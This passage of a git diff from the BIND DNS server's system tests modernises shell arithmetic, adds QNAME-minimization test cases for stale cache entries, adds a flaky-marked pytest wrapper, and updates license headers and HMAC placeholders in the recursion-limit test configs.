 ADDR ns3.ugly.
 ADDR ns3.ugly.
+NS boing.ugly.
 __EOF
-echo "ADDR icky.icky.icky.ptang.zoop.boing.ugly." | $DIFF ans3/query.log - > /dev/null || ret=1
-echo "ADDR icky.icky.icky.ptang.zoop.boing.ugly." | $DIFF ans4/query.log - > /dev/null || ret=1
+echo "ADDR icky.icky.icky.ptang.zoop.boing.ugly." | diff ans3/query.log - > /dev/null || ret=1
+echo "ADDR icky.icky.icky.ptang.zoop.boing.ugly." | diff ans4/query.log - > /dev/null || ret=1
 for ans in ans2 ans3 ans4; do mv -f $ans/query.log query-$ans-$n.log 2>/dev/null || true; done
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status+ret))
 $RNDCCMD 10.53.0.7 flush
 
-n=`expr $n + 1`
-echo_i "information that minimization was unsuccessful for .ugly is logged ($n)"
+n=$((n+1))
+echo_i "information that minimization was unsuccessful for .ugly is logged in relaxed mode ($n)"
 ret=0
-grep "success resolving 'icky.icky.icky.ptang.zoop.boing.ugly/A' after disabling qname minimization due to 'FORMERR'" ns7/named.run > /dev/null || ret=1
+wait_for_log 5 "success resolving 'icky.icky.icky.ptang.zoop.boing.ugly/A' after disabling qname minimization" ns7/named.run > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status+ret))
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "query for .slow is properly minimized when qname-minimization is on ($n)"
 ret=0
 $CLEANQL
@@ -286,7 +285,7 @@ sleep 5
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
 grep "icky.icky.icky.ptang.zoop.boing.slow. 1	IN A	192.0.2.1" dig.out.test$n > /dev/null || ret=1
 sort ans2/query.log > ans2/query.log.sorted
-cat << __EOF | $DIFF ans2/query.log.sorted - > /dev/null || ret=1
+cat << __EOF | diff ans2/query.log.sorted - > /dev/null || ret=1
 ADDR a.bit.longer.ns.name.slow.
 ADDR a.bit.longer.ns.name.slow.
 ADDR ns2.slow.
@@ -296,21 +295,21 @@ NS boing.slow.
 NS slow.
 NS zoop.boing.slow.
 __EOF
-cat << __EOF | $DIFF ans3/query.log - > /dev/null || ret=1
+cat << __EOF | diff ans3/query.log - > /dev/null || ret=1
 NS zoop.boing.slow.
 NS ptang.zoop.boing.slow.
 NS icky.ptang.zoop.boing.slow.
 __EOF
-cat << __EOF | $DIFF ans4/query.log - > /dev/null || ret=1
+cat << __EOF | diff ans4/query.log - > /dev/null || ret=1
 NS icky.ptang.zoop.boing.slow.
 NS icky.icky.ptang.zoop.boing.slow.
 ADDR icky.icky.icky.ptang.zoop.boing.slow.
 __EOF
 for ans in ans2 ans3 ans4; do mv -f $ans/query.log query-$ans-$n.log 2>/dev/null || true; done
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status+ret))
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "query for .ip6.arpa succeeds and skips on proper boundaries when qname-minimization is on ($n)"
 ret=0
 $CLEANQL
@@ -320,7 +319,7 @@ grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
 grep "1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.f.4.0.1.0.0.2.ip6.arpa. 1 IN PTR nee.com." dig.out.test$n > /dev/null || ret=1
 sleep 1
 grep -v ADDR ans2/query.log > ans2/query.log.trimmed
-cat << __EOF | $DIFF ans2/query.log.trimmed - > /dev/null || ret=1
+cat << __EOF | diff ans2/query.log.trimmed - > /dev/null || ret=1
 NS 1.0.0.2.ip6.arpa.
 NS 8.f.4.0.1.0.0.2.ip6.arpa.
 NS 0.0.0.0.8.f.4.0.1.0.0.2.ip6.arpa.
@@ -330,9 +329,9 @@ PTR 1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.f.4.0.1.0.0.2.ip6.arpa.
 __EOF
 for ans in ans2 ans3 ans4; do mv -f $ans/query.log query-$ans-$n.log 2>/dev/null || true; done
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status+ret))
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "query for multiple label name skips after 7th label ($n)"
 ret=0
 $CLEANQL
@@ -342,7 +341,7 @@ grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
 grep "more.icky.icky.icky.ptang.zoop.boing.good. 1 IN	A 192.0.2.2" dig.out.test$n > /dev/null || ret=1
 sleep 1
 sort ans2/query.log > ans2/query.log.sorted
-cat << __EOF | $DIFF ans2/query.log.sorted - > /dev/null || ret=1
+cat << __EOF | diff ans2/query.log.sorted - > /dev/null || ret=1
 ADDR a.bit.longer.ns.name.good.
 ADDR a.bit.longer.ns.name.good.
 ADDR ns2.good.
@@ -352,22 +351,22 @@ NS boing.good.
 NS good.
 NS zoop.boing.good.
 __EOF
-cat << __EOF | $DIFF ans3/query.log - > /dev/null || ret=1
+cat << __EOF | diff ans3/query.log - > /dev/null || ret=1
 NS zoop.boing.good.
 NS ptang.zoop.boing.good.
 NS icky.ptang.zoop.boing.good.
 __EOF
 # There's no NS icky.icky.icky.ptang.zoop.boing.good. query - we skipped it.
-cat << __EOF | $DIFF ans4/query.log - > /dev/null || ret=1
+cat << __EOF | diff ans4/query.log - > /dev/null || ret=1
 NS icky.ptang.zoop.boing.good.
 NS icky.icky.ptang.zoop.boing.good.
 ADDR more.icky.icky.icky.ptang.zoop.boing.good.
 __EOF
 for ans in ans2 ans3 ans4; do mv -f $ans/query.log query-$ans-$n.log 2>/dev/null || true; done
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status+ret))
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "qname minimization is disabled when forwarding ($n)"
 ret=0
 $CLEANQL
@@ -376,14 +375,14 @@ $DIG $DIGOPTS a.bit.longer.ns.name.fwd. @10.53.0.7 > dig.out.test$n
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
 grep "a.bit.longer.ns.name.fwd. 1	IN	A	10.53.0.4" dig.out.test$n >/dev/null || ret=1
 sleep 1
-cat << __EOF | $DIFF ans2/query.log - > /dev/null || ret=1
+cat << __EOF | diff ans2/query.log - > /dev/null || ret=1
 ADDR a.bit.longer.ns.name.fwd.
 __EOF
 for ans in ans2; do mv -f $ans/query.log query-$ans-$n.log 2>/dev/null || true; done
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status+ret))
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "qname minimization resolves unusual ip6.arpa. names ($n)"
 ret=0
 $CLEANQL
@@ -393,6 +392,146 @@ grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
 # ;; ANSWER SECTION:
 # test1.test2.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.9.0.9.4.1.1.1.1.8.2.6.0.1.0.0.2.ip6.arpa. 1 IN TXT "long_ip6_name"
 grep 'ip6\.arpa.*TXT.*long_ip6_name' dig.out.test$n > /dev/null || ret=1
+for ans in ans2 ans3 ans4; do mv -f $ans/query.log query-$ans-$n.log 2>/dev/null || true; done
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+# Below are test cases for GL #2665: The QNAME minimization (if enabled) should
+# also occur on the second query, after the RRsets have expired from cache.
+# BIND will still have the entries in cache, but marked stale. These stale
+# entries should not prevent the resolver from minimizing the QNAME.
+# We query for the test domain a.b.stale. in all cases (QNAME minimization off,
+# strict mode, and relaxed mode) and expect it to behave the same the second
+# time when we have a stale delegation structure in cache.
+n=$((n+1))
+echo_i "query for .stale is not minimized when qname-minimization is off ($n)"
+ret=0
+$CLEANQL
+$RNDCCMD 10.53.0.5 flush
+$DIG $DIGOPTS @10.53.0.5 txt a.b.stale. > dig.out.test$n
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "a\.b\.stale\..*1.*IN.*TXT.*peekaboo" dig.out.test$n > /dev/null || ret=1
+sleep 1
+echo "TXT a.b.stale." | diff ans2/query.log - > /dev/null || ret=1
+echo "TXT a.b.stale." | diff ans3/query.log - > /dev/null || ret=1
+test -f  ans4/query.log && ret=1
+for ans in ans2 ans3 ans4; do mv -f $ans/query.log query-$ans-$n.log 2>/dev/null || true; done
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "query for .stale is properly minimized when qname-minimization is in strict mode ($n)"
+ret=0
+$CLEANQL
+$RNDCCMD 10.53.0.6 flush
+$DIG $DIGOPTS @10.53.0.6 txt a.b.stale. > dig.out.test$n
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "a\.b\.stale\..*1.*IN.*TXT.*hooray" dig.out.test$n > /dev/null || ret=1
+sleep 1
+sort ans2/query.log > ans2/query.log.sorted
+cat << __EOF | diff ans2/query.log.sorted - > /dev/null || ret=1
+ADDR ns.b.stale.
+ADDR ns2.stale.
+NS b.stale.
+NS stale.
+__EOF
+test -f  ans3/query.log && ret=1
+sort ans4/query.log > ans4/query.log.sorted
+cat << __EOF | diff ans4/query.log.sorted - > /dev/null || ret=1
+ADDR ns.b.stale.
+NS b.stale.
+TXT a.b.stale.
+__EOF
+for ans in ans2 ans3 ans4; do mv -f $ans/query.log query-$ans-$n.log 2>/dev/null || true; done
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "query for .stale is properly minimized when qname-minimization is in relaxed mode ($n)"
+ret=0
+$CLEANQL
+$RNDCCMD 10.53.0.7 flush
+$DIG $DIGOPTS @10.53.0.7 txt a.b.stale. > dig.out.test$n
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "a\.b\.stale\..*1.*IN.*TXT.*hooray" dig.out.test$n > /dev/null || ret=1
+sleep 1
+sort ans2/query.log > ans2/query.log.sorted
+cat << __EOF | diff ans2/query.log.sorted - > /dev/null || ret=1
+ADDR ns.b.stale.
+ADDR ns2.stale.
+NS b.stale.
+__EOF
+test -f  ans3/query.log && ret=1
+sort ans4/query.log > ans4/query.log.sorted
+cat << __EOF | diff ans4/query.log.sorted - > /dev/null || ret=1
+ADDR ns.b.stale.
+TXT a.b.stale.
+__EOF
+for ans in ans2 ans3 ans4; do mv -f $ans/query.log query-$ans-$n.log 2>/dev/null || true; done
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+echo_i "sleep 2, allow entries in cache to go stale"
+sleep 2
+
+n=$((n+1))
+echo_i "query for .stale is not minimized when qname-minimization is off (stale cache) ($n)"
+ret=0
+$CLEANQL
+$DIG $DIGOPTS @10.53.0.5 txt a.b.stale. > dig.out.test$n
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "a\.b\.stale\..*1.*IN.*TXT.*peekaboo" dig.out.test$n > /dev/null || ret=1
+sleep 1
+echo "TXT a.b.stale." | diff ans2/query.log - > /dev/null || ret=1
+echo "TXT a.b.stale." | diff ans3/query.log - > /dev/null || ret=1
+test -f  ans4/query.log && ret=1
+for ans in ans2 ans3 ans4; do mv -f $ans/query.log query-$ans-$n.log 2>/dev/null || true; done
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "query for .stale is properly minimized when qname-minimization is in strict mode (stale cache) ($n)"
+ret=0
+$CLEANQL
+$DIG $DIGOPTS @10.53.0.6 txt a.b.stale. > dig.out.test$n
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "a\.b\.stale\..*1.*IN.*TXT.*hooray" dig.out.test$n > /dev/null || ret=1
+sleep 1
+sort ans2/query.log > ans2/query.log.sorted
+cat << __EOF | diff ans2/query.log.sorted - > /dev/null || ret=1
+NS b.stale.
+NS stale.
+__EOF
+test -f  ans3/query.log && ret=1
+sort ans4/query.log > ans4/query.log.sorted
+cat << __EOF | diff ans4/query.log.sorted - > /dev/null || ret=1
+NS b.stale.
+TXT a.b.stale.
+__EOF
+for ans in ans2 ans3 ans4; do mv -f $ans/query.log query-$ans-$n.log 2>/dev/null || true; done
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "query for .stale is properly minimized when qname-minimization is in relaxed mode (stale cache) ($n)"
+ret=0
+$CLEANQL
+$DIG $DIGOPTS @10.53.0.7 txt a.b.stale. > dig.out.test$n
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "a\.b\.stale\..*1.*IN.*TXT.*hooray" dig.out.test$n > /dev/null || ret=1
+sleep 1
+sort ans2/query.log > ans2/query.log.sorted
+cat << __EOF | diff ans2/query.log.sorted - > /dev/null || ret=1
+NS b.stale.
+__EOF
+test -f  ans3/query.log && ret=1
+sort ans4/query.log > ans4/query.log.sorted
+cat << __EOF | diff ans4/query.log.sorted - > /dev/null || ret=1
+TXT a.b.stale.
+__EOF
+for ans in ans2 ans3 ans4; do mv -f $ans/query.log query-$ans-$n.log 2>/dev/null || true; done
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/qmin/tests_sh_qmin.py b/bin/tests/system/qmin/tests_sh_qmin.py
new file mode 100644
index 0000000000..607732232e
--- /dev/null
+++ b/bin/tests/system/qmin/tests_sh_qmin.py
@@ -0,0 +1,18 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+import pytest_custom_markers
+
+
+# The qmin test is inherently unstable, see GL #904 for details.
+@pytest_custom_markers.flaky(max_runs=3)
+def test_qmin(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/reclimit/README b/bin/tests/system/reclimit/README
index e66994eb26..e474907d96 100644
--- a/bin/tests/system/reclimit/README
+++ b/bin/tests/system/reclimit/README
@@ -1,6 +1,13 @@
 Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
 
 system test for recursion limits
 
diff --git a/bin/tests/system/reclimit/ans2/ans.pl b/bin/tests/system/reclimit/ans2/ans.pl
index 2fa84f8c8b..4576951d7c 100644
--- a/bin/tests/system/reclimit/ans2/ans.pl
+++ b/bin/tests/system/reclimit/ans2/ans.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/env perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/reclimit/ans4/ans.pl b/bin/tests/system/reclimit/ans4/ans.pl
index 2b5c461530..d5002aae8c 100644
--- a/bin/tests/system/reclimit/ans4/ans.pl
+++ b/bin/tests/system/reclimit/ans4/ans.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/env perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/reclimit/ans7/ans.pl b/bin/tests/system/reclimit/ans7/ans.pl
index e28c32c18f..41a44a6b5e 100644
--- a/bin/tests/system/reclimit/ans7/ans.pl
+++ b/bin/tests/system/reclimit/ans7/ans.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/env perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/reclimit/clean.sh b/bin/tests/system/reclimit/clean.sh
index 4db5894abd..0a92f90c3e 100644
--- a/bin/tests/system/reclimit/clean.sh
+++ b/bin/tests/system/reclimit/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/reclimit/ns1/named.conf.in b/bin/tests/system/reclimit/ns1/named.conf.in
index 3eb07b7fd3..63cb706883 100644
--- a/bin/tests/system/reclimit/ns1/named.conf.in
+++ b/bin/tests/system/reclimit/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/reclimit/ns1/root.db b/bin/tests/system/reclimit/ns1/root.db
index 3a6f7880ba..412715cc64 100644
--- a/bin/tests/system/reclimit/ns1/root.db
+++ b/bin/tests/system/reclimit/ns1/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/reclimit/ns3/hints.db b/bin/tests/system/reclimit/ns3/hints.db
index f763729451..c9264bf646 100644
--- a/bin/tests/system/reclimit/ns3/hints.db
+++ b/bin/tests/system/reclimit/ns3/hints.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/reclimit/ns3/named1.conf.in b/bin/tests/system/reclimit/ns3/named1.conf.in
index 6275d5904a..58b5d02514 100644
--- a/bin/tests/system/reclimit/ns3/named1.conf.in
+++ b/bin/tests/system/reclimit/ns3/named1.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -27,7 +29,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/reclimit/ns3/named2.conf.in b/bin/tests/system/reclimit/ns3/named2.conf.in
index 3d6d27e912..b5389f4ff9 100644
--- a/bin/tests/system/reclimit/ns3/named2.conf.in
+++ b/bin/tests/system/reclimit/ns3/named2.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -27,7 +29,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/reclimit/ns3/named3.conf.in b/bin/tests/system/reclimit/ns3/named3.conf.in
index 57dbf032f7..f356f2487f 100644
--- a/bin/tests/system/reclimit/ns3/named3.conf.in
+++ b/bin/tests/system/reclimit/ns3/named3.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -28,7 +30,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/reclimit/ns3/named4.conf.in b/bin/tests/system/reclimit/ns3/named4.conf.in
index c095913fe9..728f00bb26 100644
--- a/bin/tests/system/reclimit/ns3/named4.conf.in
+++ b/bin/tests/system/reclimit/ns3/named4.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -28,7 +30,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/reclimit/setup.sh b/bin/tests/system/reclimit/setup.sh
index 0d093cc225..c877f3bb5c 100644
--- a/bin/tests/system/reclimit/setup.sh
+++ b/bin/tests/system/reclimit/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/reclimit/tests.sh b/bin/tests/system/reclimit/tests.sh
index 1fa879c6d7..7e80d2248b 100644
--- a/bin/tests/system/reclimit/tests.sh
+++ b/bin/tests/system/reclimit/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 DIGOPTS="-p ${PORT}"
@@ -36,9 +40,9 @@ ns3_sends_aaaa_queries() {
 #   - if ns3 sends AAAA queries, the query count should equal $2,
 #   - if ns3 does not send AAAA queries, the query count should equal $3.
 check_query_count() {
-	count1=`sed 's/[^0-9]//g;' $1`
-	count2=`sed 's/[^0-9]//g;' $2`
-	count=`expr $count1 + $count2`
+	count1=$(sed 's/[^0-9]//g;' $1)
+	count2=$(sed 's/[^0-9]//g;' $2)
+	count=$((count1 + count2))
 	#echo_i "count1=$count1 count2=$count2 count=$count"
 	expected_count_with_aaaa=$3
 	expected_count_without_aaaa=$4
@@ -57,7 +61,7 @@ check_query_count() {
 
 echo_i "set max-recursion-depth=12"
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "attempt excessive-depth lookup ($n)"
 ret=0
 echo "1000" > ans2/ans.limit
@@ -70,9 +74,9 @@ $DIG $DIGOPTS +short @10.53.0.2 count txt > dig.out.2.test$n || ret=1
 $DIG $DIGOPTS +short @10.53.0.4 count txt > dig.out.4.test$n || ret=1
 check_query_count dig.out.2.test$n dig.out.4.test$n 27 14
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "attempt permissible lookup ($n)"
 ret=0
 echo "12" > ans2/ans.limit
@@ -86,11 +90,11 @@ $DIG $DIGOPTS +short @10.53.0.2 count txt > dig.out.2.test$n || ret=1
 $DIG $DIGOPTS +short @10.53.0.4 count txt > dig.out.4.test$n || ret=1
 check_query_count dig.out.2.test$n dig.out.4.test$n 50 26
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "set max-recursion-depth=5"
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "attempt excessive-depth lookup ($n)"
 ret=0
 echo "12" > ans2/ans.limit
@@ -103,9 +107,9 @@ $DIG $DIGOPTS +short @10.53.0.2 count txt > dig.out.2.test$n || ret=1
 $DIG $DIGOPTS +short @10.53.0.4 count txt > dig.out.4.test$n || ret=1
 check_query_count dig.out.2.test$n dig.out.4.test$n 13 7
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "attempt permissible lookup ($n)"
 ret=0
 echo "5" > ans2/ans.limit
@@ -119,11 +123,11 @@ $DIG $DIGOPTS +short @10.53.0.2 count txt > dig.out.2.test$n || ret=1
 $DIG $DIGOPTS +short @10.53.0.4 count txt > dig.out.4.test$n || ret=1
 check_query_count dig.out.2.test$n dig.out.4.test$n 22 12
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "set max-recursion-depth=100, max-recursion-queries=50"
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "attempt excessive-queries lookup ($n)"
 ret=0
 echo "13" > ans2/ans.limit
@@ -137,12 +141,12 @@ if ns3_sends_aaaa_queries; then
 fi
 $DIG $DIGOPTS +short @10.53.0.2 count txt > dig.out.2.test$n || ret=1
 $DIG $DIGOPTS +short @10.53.0.4 count txt > dig.out.4.test$n || ret=1
-eval count=`cat dig.out.2.test$n`
+eval count=$(cat dig.out.2.test$n)
 [ $count -le 50 ] || { ret=1; echo_i "count ($count) !<= 50"; }
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "attempt permissible lookup ($n)"
 ret=0
 echo "12" > ans2/ans.limit
@@ -151,14 +155,14 @@ $DIG $DIGOPTS @10.53.0.2 reset > /dev/null || ret=1
 $DIG $DIGOPTS @10.53.0.3 indirect6.example.org > dig.out.1.test$n || ret=1
 grep "status: NOERROR" dig.out.1.test$n > /dev/null || ret=1
 $DIG $DIGOPTS +short @10.53.0.2 count txt > dig.out.2.test$n || ret=1
-eval count=`cat dig.out.2.test$n`
+eval count=$(cat dig.out.2.test$n)
 [ $count -le 50 ] || { ret=1; echo_i "count ($count) !<= 50"; }
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "set max-recursion-depth=100, max-recursion-queries=40"
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "attempt excessive-queries lookup ($n)"
 ret=0
 echo "11" > ans2/ans.limit
@@ -169,12 +173,12 @@ if ns3_sends_aaaa_queries; then
